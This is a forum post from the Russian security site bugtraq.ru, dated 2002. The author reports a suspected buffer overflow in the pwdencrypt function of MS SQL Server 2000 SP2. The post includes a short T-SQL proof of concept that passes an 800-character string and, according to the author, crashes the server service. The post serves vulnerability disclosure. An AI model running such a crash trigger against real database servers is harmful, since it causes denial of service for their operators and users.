информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
Все любят медАтака на Internet
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 ФБР нашла русский след в атаках... 
 Массовый взлом SharePoint 
 Microsoft Authenticator прекращает... 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / hacking
Имя Пароль
ФОРУМ
если вы видите этот текст, отключите в настройках форума использование JavaScript
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
  • Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
  • Новичкам также крайне полезно ознакомиться с данным документом.
Возможное переполнение буфера в MS SQL Server 2000 SP2: функция pwdencrypt 02.06.02 10:48  
Автор: jimmers Статус: Незарегистрированный пользователь
<"чистая" ссылка>
Добрый день

Следующий фрагмент кода вызывает AV и работа службы mssqlserver аварийно завершается. Прошу подтвердить.
...................
-- crashes Microsoft SQL Server 2000 - 8.00.534 Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2)
declare @crash_password varchar(1000)
set @crash_password = replicate('a', 800)
select pwdencrypt(@crash_password)
...................

Аналогичное сообщение я разместил в группе новостей microsoft.public.sqlserver.security, но надежды получить ответ там мало.
Кроме того, полгода назад писал об этом в Microsoft и постил на securityfocus.com - ни ответа, ни привета....

Удачи
1




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2025 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach